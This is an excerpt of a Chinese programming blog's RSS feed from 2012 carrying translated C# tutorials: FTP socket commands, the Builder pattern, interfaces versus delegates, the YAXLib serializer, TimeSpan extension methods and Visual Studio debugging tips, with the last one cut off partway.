AppendText(rchLog,&#34;Status : EndPoint Found -&amp;gt;&#34; + addrEndPoint.ToString() + &#34;\n&#34;, Color.Red);
FTPSocket.Connect(addrEndPoint);
是的。我们需要一个socket连接到服务器 ，然后发送命令

AppendText(rchLog, &#34;Command : &#34; + msg + &#34;\n&#34;, Color.Blue);
Byte[] CommandBytes = Encoding.ASCII.GetBytes((msg + &#34;\r\n&#34;).ToCharArray());
FTPSocket.Send(CommandBytes, CommandBytes.Length, 0);
//read Response
ReadResponse();&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>理解并实现生成器模式</title>
      <link>http://blog.leaver.me/2012/10/08/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E7%94%9F%E6%88%90%E5%99%A8%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Mon, 08 Oct 2012 13:11:16 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/08/%E7%90%86%E8%A7%A3%E5%B9%B6%E5%AE%9E%E7%8E%B0%E7%94%9F%E6%88%90%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;h1 id=&#34;介绍&#34;&gt;介绍&lt;/h1&gt;
&lt;p&gt;本文讨论生成器设计模式，讨论该模式什么情况下使用，怎么实现。并且。最后会有一个简单的生成器模式的实现。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;当我们的程序需要创建一个对象。而这个对象必须由很多不同的对象来构造的时候。为了构造最后的对象。我们不得不组合那些部分对象。最后我们会发现我们的代码被各种各样的部分对象的细节所弄的难以理解&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;为了说明上面的情况。我们做一个手机生产制造系统的例子。假定我们我们有一个已经安装在手机供应商那块的一个系统。现在供应商系那个要根据一些参数来创造一个新手机。比如触屏，操作系统，电池等。如果我们已经有了这些部分的对象，那么上述部分的任意组合将会导致客户端代码复杂难以管理。比如决定生产哪种手机的模块。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;生成器模式目的就是解决上述问题的。GoF定义生成器模式如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Separate the construction of a complex object from its representation so that the same construction process can create different representations&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这个定义意味着我们不得不设计这个系统。通过一种客户端仅仅定义参数，而生成器则接管创建复杂对象 的方式。我们看一下生成器模式的类图。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27924_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/489ad862ea61f21ae79e749c31fb0aef3c0eea45.jpg&#34; title=&#34;gof&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后看看上图中的每一个类都表示什么&lt;/p&gt;
&lt;p&gt;ConcreteBuilder: 创建复杂产品的具体类.将会知道他已经创建的Product（产品），也就是他已经装配了的Product， 客户端通过该类得到Product对象.&lt;/p&gt;
&lt;p&gt;Builder: 创建Product的接口&lt;/p&gt;
&lt;p&gt;Director: 客户端代码，定义了哪些部分应该被组合在一起来创建具体的Product&lt;/p&gt;
&lt;p&gt;Product: 这是通过组合很多部分创建的对象&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;使用代码&#34;&gt;使用代码&lt;/h1&gt;
&lt;p&gt;我们现在跟随上述的定义，然后试着去实现一个基本的生成器模式&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我们先在合适的地方定义Product的不同部分，我们简单的定义一些枚举类型，那么我们就可以通过组合不同的部分创建Product了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 一些helper枚举定义各种零件

public enum ScreenType

{

    ScreenType_TOUCH_CAPACITIVE,

    ScreenType_TOUCH_RESISTIVE,

    ScreenType_NON_TOUCH

};

public enum Battery

{

    MAH_1000,

    MAH_1500,

    MAH_2000

};

public enum OperatingSystem

{

    ANDROID,

    WINDOWS_MOBILE,

    WINDOWS_PHONE,

    SYMBIAN

};

public enum Stylus

{

    YES,

    NO

};&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后，我们看一下Product类，我们需要有一个可以通过装配创建的Product类，这里我们定义一个MobilePhone类，也就是概念里的Product类了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 这是 &#34;Product&#34; 类

class MobilePhone

{

    // 不同部分的字段

    string phoneName;      

    ScreenType phoneScreen;

    Battery phoneBattery;

    OperatingSystem phoneOS;

    Stylus phoneStylus;

    public MobilePhone(string name)

    {

        phoneName = name;

    }

    //公有属性访问这些部分

    public string PhoneName

    {

        get { return phoneName; }           

    }

    public ScreenType PhoneScreen

    {

        get { return phoneScreen; }

        set { phoneScreen = value; }

    }       

    public Battery PhoneBattery

    {

        get { return phoneBattery; }

        set { phoneBattery = value; }

    }       

    public OperatingSystem PhoneOS

    {

        get { return phoneOS; }

        set { phoneOS = value; }

    }      

    public Stylus PhoneStylus

    {

        get { return phoneStylus; }

        set { phoneStylus = value; }

    }

    // 显示手机相关信息的方法

    public override string ToString()

    {

        return string.Format(&#34;Name: {0}\nScreen: {1}\nBattery {2}\nOS: {3}\nStylus: {4}&#34;,

            PhoneName, PhoneScreen, PhoneBattery, PhoneOS, PhoneStylus);

    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>接口VS 委托</title>
      <link>http://blog.leaver.me/2012/10/07/%E6%8E%A5%E5%8F%A3vs-%E5%A7%94%E6%89%98/</link>
      <pubDate>Sun, 07 Oct 2012 08:31:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/07/%E6%8E%A5%E5%8F%A3vs-%E5%A7%94%E6%89%98/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;对于指定的任务有不同的方案可供选择，通常是很好的。因为可能某一种方案会更加适合该任务，但是有时候做决定会很难。因为这些不同的方案有其各自的优缺点。&lt;/p&gt;
&lt;p&gt;我经常会停下来好好想想，是不是接口比委托更适合或者是更不适合某个任务。有时候我甚至会回去看我写的代码，这些代码刚开始使用委托来实现，我后来用接口替换掉。因此，是时候写篇文章来阐述一下这两种技术的优缺点了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;性能&#34;&gt;性能&lt;/h1&gt;
&lt;p&gt;我经常看到有人问接口是不是比委托更快啊。或者是不是相反。通常。别人给的答案会是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;接口更快。委托相当慢&lt;/li&gt;
&lt;li&gt;委托更快，因为他们是指向方法的指针，接口则需要一个v-table(虚函数解析表)，然后找到委托&lt;/li&gt;
&lt;li&gt;他们一样快，但委托更容易使用
 &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;好吧。那些都是错的。也许在.Net 1中。委托真的很慢。但是事实是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;委托执行（execute）的时候更快&lt;/li&gt;
&lt;li&gt;接口获得（get）的时候更快
在下面这段代码中：&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Action action = SomeMethod;&lt;/pre&gt;
&lt;p&gt;我们将得到一个Action(委托类型)来调用SomeMethod。问题是：委托是包含被调用方法的实例和指针的引用类型。而不仅仅只是一个指向方法的指针，通过引用类型，委托需要分配内存，因此，每一次你把一个方法变换成一个委托的时候。都会分配一个新的对象。&lt;/p&gt;
&lt;p&gt;如果委托是一个值类型。会有些不一样。但是他们不是。。&lt;/p&gt;
&lt;p&gt;另一方面，如果我们这样写代码：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IRunnable runnable = this;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果实现了IRunnable接口的对象。我们简单通过一个转换得到同样的引用。没有涉及内存分配。我们将可以通过下面的代码来进行速度比较：&lt;/p&gt;
&lt;p&gt;对于委托：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
for(int i=0; i&amp;lt;COUNT; i++)
{
  Action action = SomeMethod;
  action();
}
stopwatch.Stop();
Console.WriteLine(stopwatch.Elapsed);&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;对于接口&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
for(int i=0; i&amp;lt;COUNT; i++)
{
  IRunnable runnable = this;
  runnable.Run();
}
stopwatch.Stop();
Console.WriteLine(stopwatch.Elapsed);&lt;/pre&gt;
&lt;p&gt;我知道接口会更快。不是因为他们执行更快。而是因为每一次迭代，一个新的Action委托都会被分配。 但是。如果把委托和接口的获得语句放在循环之外。委托会更快一些。&lt;/p&gt;
&lt;p&gt;当创建事件的时候。举个例子。我们在给事件添加委托的时候，就只添加一次。这样。即使事件被触发再多次。也只进行了一次内存分配。&lt;/p&gt;
&lt;h2 id=&#34;那么谁赢了&#34;&gt;那么？谁赢了？&lt;/h2&gt;
&lt;p&gt;好。对于事件，委托将会更快些。&lt;/p&gt;
&lt;p&gt;但是。在说委托更好或是更快之前，我们再看另一种情况。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;匿名方法&#34;&gt;匿名方法&lt;/h1&gt;
&lt;p&gt;在我看来，匿名方法是委托最糟糕的使用。但是同时。也正在变成最普遍的用法。&lt;/p&gt;
&lt;p&gt;当你像这段代码这样调用的时候&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;for(int i=0; i&amp;lt;count; i++)
  MethodThatReceivesADelegate(() =&amp;gt; SomeCall(i));&lt;/pre&gt;
&lt;p&gt;事实上，编译器将会创建一个接受参数i的方法实例，然后创建另一个实例（即委托）来引用这个实例。&lt;/p&gt;
&lt;p&gt;如果用接口来替换的话。编译器将指挥分配单一的对象，该对象实现了接口&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;可能的抱怨&#34;&gt;可能的抱怨&lt;/h2&gt;
&lt;p&gt;一些人也许对那个接受参数i的方法实例的问题有所疑惑。他们可能认为，在每一次迭代中。实例里面的之被改变了。也许编译器可以优化这个委托的内存分配。实际只分配了一次。&lt;/p&gt;
&lt;p&gt;好把。对于委托的内存分配我不知道。但是。对于要分配一个接受参数i的单一实例，确实真的。也是一个bug。如果MethodThatReceivesADelegate 把委托传递给另一个线程。其他的线程也许会接收到错误的i值，在.net 4.5中。这块不会出错。因为。每一次迭代。一个新的对象被创建。这就能保证当委托被传递到另一个线程里的时候。结果总是正确的。但这也就意味着每次都会有一个新的委托会创建。&lt;/p&gt;
&lt;p&gt;如果MethodThatReceivesADelegate 仅仅使用委托一次。使用接口也许更好。不幸的是。我们没有办法实现匿名接口。&lt;/p&gt;
&lt;p&gt;好。如果是为了方便。委托更好。但是如果要求性能。在这种情况下。接口会更好。因为避免了一次不必要的内存分配。&lt;/p&gt;
&lt;p&gt;事实上，我创建了IRunnable接口是为了强制使用者实现了一个新的类型，而不是使用匿名委托。这样就可以解决在for循环（或是任何在foreach里使用的任何值）i值可变的问题，同时也有一定的性能提升。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;调用和动态调用&#34;&gt;调用和动态调用&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;现在我们知道有匿名委托，但是没有匿名接口，只使用一次的情况下，接口将会比委托有更好的性能。因为只请求一个对象而不是两个。&lt;/p&gt;
&lt;p&gt;这让我开始考虑，当一个方法接受一个只会执行一次的方法作为参数的时候，我应该使用委托还是是用接口。&lt;/p&gt;
&lt;p&gt;但是。更多的性能相关的情况下我们可以这样用。。&lt;/p&gt;
&lt;p&gt;你是否曾经有过要用动态调用代替直接委托调用的情况？一般是在编译时并不知道委托的参数类型的情况下。&lt;/p&gt;
&lt;p&gt;好。当有一个接口。在接口的方法里有一个方法调用的参数类型未定。我不知道为什么。但是反射调用和委托的动态调用都极慢。比直接对参数做转换都慢。而数组长度验证。然后放到一个try/catch块里会抛出TargetInvocationException 异常。&lt;/p&gt;
&lt;p&gt;因此。如果你有类似下面的代码：&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public interface IDynamicInvokable
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;object DynamicInvoke(params object[] parameters);&lt;/p&gt;
&lt;p&gt;}&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
那么你可以创建你的委托接口，是IDynamicInvokable 接口的继承接口，像这样：
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public interface IAction&amp;lt;T&amp;gt;:
&lt;p&gt;IDynamicInvokable&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;void Invoke(T parameter);&lt;/p&gt;
&lt;p&gt;}&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
这样你的用户就可以通过Invoke方法调用你的接口，如果他们在编译时不知道接口的类型。他们可以使用更泛化一些的IDynamicInvoke。
&lt;p&gt;注意：我讨厌泛型这个名字。对于我来说。IDynamicInvoke 是调用方法最泛型的的途径，而IAction&amp;lt;T&amp;gt; 是类型接口，因此，我我说泛型的时候。我其实是在说更加普遍无类型的调用泛型。而不是类型指定的泛型。&lt;/p&gt;
&lt;p&gt;那么，如果对委托做上千次调用。但是使用DynamicInvoke 代替Invoke，接口会做的更好&lt;/p&gt;
&lt;p&gt;我又一次的问我自己。匿名委托的简单性值得吗？仅仅为了更好的性能我就把让我的用户对我方法的调用变得困难？并且这真的会影响到程序的整体性能吗？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;泛型差异无类型的使用&#34;&gt;泛型，差异，无类型的使用&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我刚刚说我讨厌泛型的名字。因为使用泛型的代码通常是有类型的代码，而我们也许需要的无具体类型的代码，我认为这样更加泛一些。&lt;/p&gt;
&lt;p&gt;但是。让我好好讨论一下.net的泛型。假设你知道一个委托的参数数目，但是你不知道具体的类型，这和DynamicInvoke 是不一样的。因为这个方法。简单的把所有的参数当成一个数组。&lt;/p&gt;
&lt;p&gt;泛型具化或者是相反可以有一些帮助。但是很小。&lt;/p&gt;
&lt;p&gt;比如。我们可以把 &lt;code&gt;Func&amp;amp;lt;string&amp;amp;gt;&lt;/code&gt; 当成 &lt;code&gt;Func&amp;amp;lt;object&amp;amp;gt; ``，或是把``Action&amp;amp;lt;object&amp;amp;gt;&lt;/code&gt; 看成 &lt;code&gt;Action&amp;amp;lt;string&amp;amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;理由很简单，当返回一个值的时候（``Func``的情况），``string``是一个``object``。将不会做任何转换。将会简单地返回一个``string``，调用这会看成一个无类型的``object``。但是可以。而在``Action``这个情况下。它需要一个``object``，而``string&lt;/code&gt;.是可用的object，所以也可以。&lt;/p&gt;
&lt;p&gt;但是。如果你想要把&lt;code&gt;Func&amp;amp;lt;int&amp;amp;gt;&lt;/code&gt; 当作Func&amp;lt;object&amp;gt;。更广泛一点。想把所有的参数转换成object，可以吗？&lt;/p&gt;</description>
    </item>
    <item>
      <title>YAXLib---- XML序列化神器</title>
      <link>http://blog.leaver.me/2012/10/05/yaxlib----xml%E5%BA%8F%E5%88%97%E5%8C%96%E7%A5%9E%E5%99%A8/</link>
      <pubDate>Fri, 05 Oct 2012 16:24:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/05/yaxlib----xml%E5%BA%8F%E5%88%97%E5%8C%96%E7%A5%9E%E5%99%A8/</guid>
      <description>&lt;p&gt;今天早上翻译了&lt;a href=&#34;http://www.codeproject.com/Articles/34045/Yet-Another-XML-Serialization-Library-for-the-NET&#34;&gt;Yet-Another-XML-Serialization-Library-for-the-NET&lt;/a&gt;，刚开始以为很短。翻译着发现不对。。然后你不逼你自己。怎么知道自己做不到。于是。将近4个小时把30页的文档翻译完了。因为文章很长。所以本文只列出前两部分。我把翻译好的做成了pdf，&lt;/p&gt;
&lt;p&gt;文档下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=74284&amp;amp;uk=1493685990&#34;&gt;XML序列化神器&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;1-介绍&#34;&gt;1 介绍&lt;/h2&gt;
&lt;p&gt;在本文中，会把要提到的XML序列化库叫做YAXLib，我们知道。.Net 还是提供了一些序列化功能的，尤其是XmlSerializer，该类被程序员广泛使用用来序列化对象成XML，当然，反序列化也是可以的。我认为XmlSerializer类的问题有几下几点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序员不能自由的选择生成的xml的结构&lt;/li&gt;
&lt;li&gt;不支持序列化一些集合类，比如Dictionary&amp;lt;,&amp;gt; 或者IEnumerable&amp;lt;&amp;gt;的属性&lt;/li&gt;
&lt;li&gt;当反序列化的时候，如果缺失了一些域，则反序列化失败，这就使得用来存储一ixekeyi被用户编辑的配置文件变得不合适了。
 &lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;2-为什么使用yaxlib&#34;&gt;2 为什么使用YAXLib&lt;/h2&gt;
&lt;p&gt;YAXLib解决上述问题的特点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序员可以决定xml文件的结构，一个属性可以是一个子元素，或者是其他属性的属性，或者是一个在类中没有对应属性的元素。&lt;/li&gt;
&lt;li&gt;集合类也可以被序列化成一个逗号分隔（也可以是其他任何分隔符）的数据项列表，而且。为Dictionary&amp;lt;,&amp;gt;对象实现了一些特殊的格式化功能，这样，使得程序员可以完全控制生成的xml文件的结构&lt;/li&gt;
&lt;li&gt;他支持System.Collections.Generic 命名空间中的所有泛型集合类（像&lt;code&gt;Dictionary&lt;/code&gt;, &lt;code&gt;HashSet&lt;/code&gt;, &lt;code&gt;LinkedList&lt;/code&gt;, &lt;code&gt;List&lt;/code&gt;, &lt;code&gt;Queue&lt;/code&gt;,&lt;code&gt;SortedDictionary&lt;/code&gt;, &lt;code&gt;SortedList&lt;/code&gt;, 和 &lt;code&gt;Stack&lt;/code&gt;） 和在&lt;code&gt;System.Collections&lt;/code&gt;  命名空间中的非泛型集合类（ &lt;code&gt;ArrayList&lt;/code&gt;, &lt;code&gt;BitArray&lt;/code&gt;, &lt;code&gt;Hashtable&lt;/code&gt;, &lt;code&gt;Queue&lt;/code&gt;, &lt;code&gt;SortedList&lt;/code&gt;, 和 &lt;code&gt;Stack&lt;/code&gt;）非泛型集合类可以包含多种不同的对象，而且，库还支持序列化和反序列化一维，多维，不规则的数组。&lt;/li&gt;
&lt;li&gt;支持通过对基类/接口的引用，实现对一些对象集合的序列化和反序列化。&lt;/li&gt;
&lt;li&gt;支持多级反序列化&lt;/li&gt;
&lt;li&gt;程序员可以为生成的xml提供注释&lt;/li&gt;
&lt;li&gt;当进行反序列化的时候，程序员可以选择性对于那些与类的属性相关，但没有出现在xml文件中的数据应该如何处理。这种情况下可以看错是一个错误，然后类库抛出一些异常，或者记录错误，或者可以被看成一个警告，然后用程序员预定义的值赋给对应的属性，而且，程序可以可以选择忽略这个问题，相关的异常将既不抛出也不作任何记录。请查看保留空引用标识那一节 看看什么时候可以忽略孤立的数据也许对你有帮助&lt;/li&gt;
&lt;li&gt;程序员可以自己选择错误处理规则，对于数据敏感的应用程序，程序员可以选择在任何异常的情况下，库都应该抛出并且记录异常，对于其他的一些情况（比如要求不那么高的配置文件的存储），程序员可以选择把异常仅仅看成一个警告，仅仅记录一下，让程序的其他部分继续运行。
文档下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=74284&amp;amp;uk=1493685990&#34;&gt;XML序列化神器&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>简单扩展方法增强代码可读性</title>
      <link>http://blog.leaver.me/2012/10/04/%E7%AE%80%E5%8D%95%E6%89%A9%E5%B1%95%E6%96%B9%E6%B3%95%E5%A2%9E%E5%BC%BA%E4%BB%A3%E7%A0%81%E5%8F%AF%E8%AF%BB%E6%80%A7/</link>
      <pubDate>Thu, 04 Oct 2012 09:03:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/04/%E7%AE%80%E5%8D%95%E6%89%A9%E5%B1%95%E6%96%B9%E6%B3%95%E5%A2%9E%E5%BC%BA%E4%BB%A3%E7%A0%81%E5%8F%AF%E8%AF%BB%E6%80%A7/</guid>
      <description>&lt;p&gt;本文技术含量不高，但是思路可以借鉴。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当你处理计时器，时间间隔，或是其他关于日期的计算的时候。你必然会使用TimeSpan类。&lt;/p&gt;
&lt;p&gt;我觉得写出下面的代码可读性并不好。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 1个表示5小时的时间间隔
var theTimespan = new TimeSpan(0, 5, 0, 0, 0);&lt;/pre&gt;
&lt;p&gt;而下面的代码就要好一些&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//一个表示5小时的时间间隔
var theTimespan = 5.Hours();&lt;/pre&gt;
&lt;p&gt;** 扩展方法**&lt;/p&gt;
&lt;p&gt;使用这些扩展了int类的方法。可以使得创建TimeSpan可读性更好&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public static TimeSpan Days(this int value)
{
    return new TimeSpan(value, 0, 0, 0, 0);
}

public static TimeSpan Years(this int value)
{
    var dt = DateTime.Now.AddYears(value);
    return (dt - DateTime.Now).Duration();
}

public static TimeSpan Hours(this int value)
{
    return new TimeSpan(0, value, 0, 0, 0);
}

public static TimeSpan Minutes(this int value)
{
    return new TimeSpan(0, 0, value, 0, 0);
}

public static TimeSpan Seconds(this int value)
{
    return new TimeSpan(0, 0, 0, value, 0);
}

public static TimeSpan Milliseconds(this int value)
{
    return new TimeSpan(0, 0, 0, 0, value);
}&lt;/pre&gt;
&lt;p&gt;许可&lt;/p&gt;
&lt;p&gt;本文所有源代码包括文件在CPOL下授权。。&lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Tips/469097/Simple-extension-methods-for-code-readability&#34;&gt;Simple-extension-methods-for-code-readability&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>11个高效的VS调试技巧</title>
      <link>http://blog.leaver.me/2012/10/03/11%E4%B8%AA%E9%AB%98%E6%95%88%E7%9A%84vs%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/</link>
      <pubDate>Wed, 03 Oct 2012 10:45:15 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/03/11%E4%B8%AA%E9%AB%98%E6%95%88%E7%9A%84vs%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;调试是软件开发周期中的一个很重要的部分，有时很有挑战性，有时候则让程序员迷惑，有时候让程序员发疯，但是。可以肯定的是，对于任何不是太那个微不足道的程序来说，调试是不可避免的。近年来，调试工具的发展已经使得很多调试任务简单省时了。&lt;/p&gt;
&lt;p&gt;本文总结了十个调试技巧，当你使用VS的时候可以节省你很多时间。&lt;/p&gt;
&lt;p&gt;1. 悬停鼠标查看表达式&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27679_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b9e01a5158e02f8079c7dc331f56110f3e0b82d.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;调试有时候很有挑战性，当你步入一个函数想看看哪块出错的时候，查看调用栈来想想值是从哪来的。另一些情况下，则需要添加一些监视表达式，或者查看局部变量列表，这通常还是花费一些时间的，但是。如果你把你鼠标指向你感兴趣的一个变量。你会发现事情简单多了。而且，类和结构体可以通过单击展开。这样。你就可以方便快捷的找到你想查看的变量了。&lt;/p&gt;
&lt;p&gt;2. 实时改变值
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27680_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/eade577f5ea39d3b970613ac3123610b67e427cb.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
调试器不仅仅是一个分析程序崩溃或是异常结果的工具了，许多bug都可以通过步入新写的函数，检查函数是否如期望的那样运行来预防。有时候你可能会好奇“如果条件为真函数会正确运行吗”大多数情况下，根本不需要改变代码重启挑起，仅仅把鼠标悬停到一个变量上，双击值然后输入一个新值就可以了。。&lt;/p&gt;
&lt;p&gt;3．设置下一条语句
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27690_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1c86cc15b16c98adc1563eb1660481fa249beaf0.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
一个典型的调试情况就是通过单步跟踪分析为什么一个函数调用失败了。当你发现一个函数调用的另一个函数返回错误的时候你会怎么做？重启调试？有更好的方法。拖动这个黄色的语句标识到你想下一步执行的语句前就可以了。比如你刚才失败的那块，然后步入。简单，不是吗？&lt;/p&gt;
&lt;p&gt;4.编辑然后继续
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27682_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8117d2025d49155485268fc1b56041e96cefaeac.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;
调试一个复杂的程序，或是一个插件的时候，在一个被调用很多次的函数处发现一个错误。但是不想浪费时间停下来，重新编译然后重新调试。没问题，仅仅在该处改正代码然后继续单步就可以。VS会修正程序然后继续调试不需要重启&lt;/p&gt;
&lt;p&gt;注意，编辑然后继续有大量的已知限制，首先，64位代码是不行的。如果他如果为你的C#程序工作。就去工程设置的生成选项，然后目标平台为x86.不要担心。发布版的目标平台和调试的时候是分开的。可以被设置为任何平台。。&lt;/p&gt;
&lt;p&gt;第二．编辑然后继续改变在一个方法里应该是局部的。。如果你改变了方法签名，添加一些新方法或是类。你就不得不重启程序了。或者撤销改变来继续。改变方法也包含lambda表达式隐式修改的自动生成的代理类，因此也不能继续。&lt;/p&gt;
&lt;p&gt;5.方便的监视窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27683_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a204da1e7bb82719b4a965da45d1cfcc51a90cd3.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;
大概现代的调试器都有一个监视窗口，无论如何。VS允许你简单的添加或移除变量。单击空行，输入你的表达式按下回车，或者是在不需要的表达式上按下Delete键就可以删除了。
而且。从监视窗口你不仅仅可以看到“正常”的变量。你可以输入$handles 来追踪你的程序打开了多少句柄（可以方便的修复内存泄漏） ，输入$err 可以看到上一个函数的错误码，然后使用工具-错误信息可以看到更详细的描述，或者输入@eax（64位是@rax）来查看包含函数返回值的寄存器。&lt;/p&gt;
&lt;p&gt;6.带注释的反汇编
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27684_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d61b64ed0a189bec2f34f2faaf059916cce8e525.png&#34; title=&#34;6&#34;&gt;&lt;/a&gt;
使用交互式的反汇编模式可以使得优化程序的关键部分变得很容易，VS给出对应你代码每一行的汇编指令，并且运行单步运行。同时，可以在任何位置设置断点。而且，表达式的查看和修改也像在C++代码里一样&lt;/p&gt;
&lt;p&gt;7.带有栈的线程窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27691_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b212033679007829bb5c0684d62ab8f27a0514b.png&#34; title=&#34;7&#34;&gt;&lt;/a&gt;
调试多线程的程序是痛苦的。。或者也可以是很有趣的。取决于你的调试器。VS2010真正优美的特性是线程窗口的栈视图，通过窗口的调用栈你可以方便的总览线程。&lt;/p&gt;
&lt;p&gt;8.条件断点
